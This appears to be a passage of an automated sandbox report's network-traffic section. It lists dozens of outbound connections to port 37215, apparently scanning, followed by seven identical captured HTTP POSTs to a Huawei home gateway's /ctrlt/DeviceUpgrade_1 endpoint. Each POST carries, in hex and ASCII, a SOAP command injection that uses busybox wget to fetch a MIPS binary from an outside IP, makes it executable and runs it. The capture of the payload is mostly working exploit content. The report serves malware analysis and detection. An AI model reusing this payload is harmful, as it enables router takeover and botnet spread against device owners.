Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.68.222.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.88.184.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.36.70.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.22.215.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.0.70.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.184.203.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.237.248.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.239.102.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.139.178.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.77.157.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.33.214.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.73.158.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.204.224.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.153.132.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.216.200.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.35.42.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.150.19.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.18.55.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.79.13.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.7.66.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.223.19.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.11.81.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.21.21.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.74.223.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.239.44.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.22.242.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.179.119.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.26.15.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.169.246.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.11.128.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.62.115.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.122.157.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.147.187.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.27.67.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.136.209.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.19.52.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.102.48.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.17.21.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.90.83.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.101.223.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.145.164.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.211.111.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.105.16.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.38.13.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.195.193.164:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.225.166.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.97.60.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.107.221.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.68.108.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.225.121.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.15.101.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.108.93.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.146.175.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.200.157.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.189.90.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.98.242.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.172.68.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.136.0.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.238.183.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.55.157.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.160.0.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.192.137.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 197.76.73.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 41.246.60.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:37451 -> 156.39.108.63:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
